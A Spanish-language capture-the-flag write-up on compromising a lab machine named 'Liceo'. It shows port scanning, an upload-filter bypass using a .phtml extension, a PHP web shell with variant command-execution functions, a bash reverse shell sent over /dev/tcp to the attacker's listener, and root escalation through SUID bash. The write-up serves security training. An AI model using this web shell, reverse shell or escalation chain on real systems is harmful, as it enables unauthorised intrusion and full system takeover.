Liceo
En esta máquina vamos a saltarnos la protección de subida de archivos de la web y escalaremos privilegios mediante un permiso SUID mal implementado
March 28, 20247 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
> ping -c 1 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.818 ms
--- 192.168.1.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.818/0.818/0.818/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 64, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 192.168.1.149 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 192.168.1.149
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> sudo nmap -p21,22,80 -sCV 192.168.1.149 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 191 Feb 01 14:29 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.145
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:4c:42:8d:10:2c:61:56:7b:26:c4:78:96:6d:28:15 (ECDSA)
|_ 256 7e:1a:29:d8:9b:91:44:bd:66:ff:6a:f3:2b:c7:35:65 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Liceo
|_http-server-header: Apache/2.4.52 (Ubuntu)
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
FTP
Nmap ha reportado que el puerto 21 está abierto, tiene un FTP con el “Anonymous login allowed” y dentro hay un archivo llamado note.txt
> wget ftp://192.168.1.149/note.txt
note.txt 100%[=========================================================================================================================>] 191 --.-KB/s in 0s
2024-03-28 14:19:49 (891 KB/s) - ‘note.txt’ saved [191]
> cat note.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: note.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ Hi Matias, I have left on the web the continuations of today's work,
2 │ would you mind contiuing in your turn and make sure that the web will be secure?
3 │ Above all, we dont't want intruders...
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Hola Matias, te he dejado en la web las continuaciones del trabajo de hoy,
¿Te importaría continuar en tu turno y asegurarte de que la web sea segura?
Sobre todo, no queremos intrusos...
Con este mensaje podemos deducir un posible usuario llamado Matias.
HTTP
Empezamos analizando la web con whatweb
> whatweb 192.168.1.149
http://192.168.1.149 [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[liceoescuela@liceo.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[192.168.1.149], JQuery[3.4.1], Script, Title[Liceo], X-UA-Compatible[IE=edge]
Tenemos un email: liceoescuela@liceo.com
Esta dirección de correo usa el dominio liceo.com. Esta información la podemos usar para después buscar subdominios.
Si consultamos la página web desde el navegador, no vemos ninguna función destacable, así que procedemos a hacer fuzzing para encontrar subdirectorios con la herramienta gobuster
> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.149 -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.149
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/images (Status: 301) [Size: 315] [--> http://192.168.1.149/images/]
/index.html (Status: 200) [Size: 21487]
/.html (Status: 403) [Size: 278]
/uploads (Status: 301) [Size: 316] [--> http://192.168.1.149/uploads/]
/upload.php (Status: 200) [Size: 371]
/css (Status: 301) [Size: 312] [--> http://192.168.1.149/css/]
/js (Status: 301) [Size: 311] [--> http://192.168.1.149/js/]
Rápidamente aparecen 2 rutas las cuales llaman la atención: uploads y upload.php
En el upload.php podemos subir un archivo, vamos a subir un php simplón y lo interceptaremos con burpsuite
Nos aparece un error diciendo que no se pueden subir archivos con la extensión php. Los scripts en php pueden usar otras extensiones que no sean php, para descubrir cuáles son las que bloquea vamos a usar el intruder de burpsuite.
Añadimos la extensión como variable y subimos un payload con todas las extensiones
> cat Downloads/extensions.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────
│ File: Downloads/extensions.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────
1 │ php
2 │ php2
3 │ php3
4 │ php4
5 │ php5
6 │ php6
7 │ php7
8 │ phps
9 │ phps
10 │ pht
11 │ phtm
12 │ phtml
13 │ pgif
14 │ shtml
15 │ htaccess
16 │ phar
17 │ inc
18 │ hphp
19 │ ctp
20 │ module
───────┴──────────────────────────────────────────────────────────────────────────────────────────────
Ahora ya podemos ver el resultado con las demás extensiones
Al final la única que estaba bloqueada era .php
Ahora ya podemos ejecutar comandos
> curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=whoami"
www-data
Qué código shell.phtml que nos permite ejecutar comandos?
El archivo shell.php tiene el siguiente código
<?php echo shell_exec($_GET["telepathy"]); ?>
Lo que hace básicamente es pasarle a la función shell_exec todo lo que recibe por GET por el parámetro telepathy.
La función shell_exec lo que hace es ejecutar comandos en el sistema, pero no muestra el output, para hacer que muestre el output hay que poner el echo delante
Sin echo
d3bo~> cat test.php
1 <?php shell_exec("whoami") ?>
d3bo~> php test.php
Con echo
d3bo~> cat test.php
1 <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo
Si shell_exec no funcionara o está bloqueado, se pueden usar otras funciones, a continuación os dejo unos ejemplos
system()
d3bo~> cat test.php
1 <?php system("whoami") ?>
d3bo~> php test.php
d3bo
passthru()
d3bo~> cat test.php
1 <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo
exec()
d3bo~> cat test.php
1 <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo
popen()
d3bo~> cat test.php
1 <?php
2 $handle = popen('whoami', 'r');
3 $read = fread($handle, 2096);
4 pclose($handle);
5 echo $read;
6 ?>
7
d3bo~> php test.php
d3bo
Intrusión
Para ganar acceso a la máquina vamos a ponernos en escucha por el puerto 443
nc -nlvp 443
Y nos mandamos la reverseshell
curl -s -G "192.168.1.149/uploads/shell.phtml" --data-urlencode "telepathy=bash -c 'bash -i >& /dev/tcp/192.168.1.145/443 0>&1'"
Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Escalada de privilegios
Empezamos la escalada buscando archivos con privilegios SUID
bash-5.1$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
....
-rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
-rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
-rwsr-xr-x 1 root root 232416 Apr 3 2023 /usr/bin/sudo
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /usr/bin/bash
De todos los archivos que salen hay uno que llama la atención, este es /usr/bin/bash ya que si bash tiene permisos SUID podemos ejecutar bash con -p de privilege y tener una bash de root
bash-5.1$ /usr/bin/bash -p
bash-5.1# whoami
root
Máquina terminada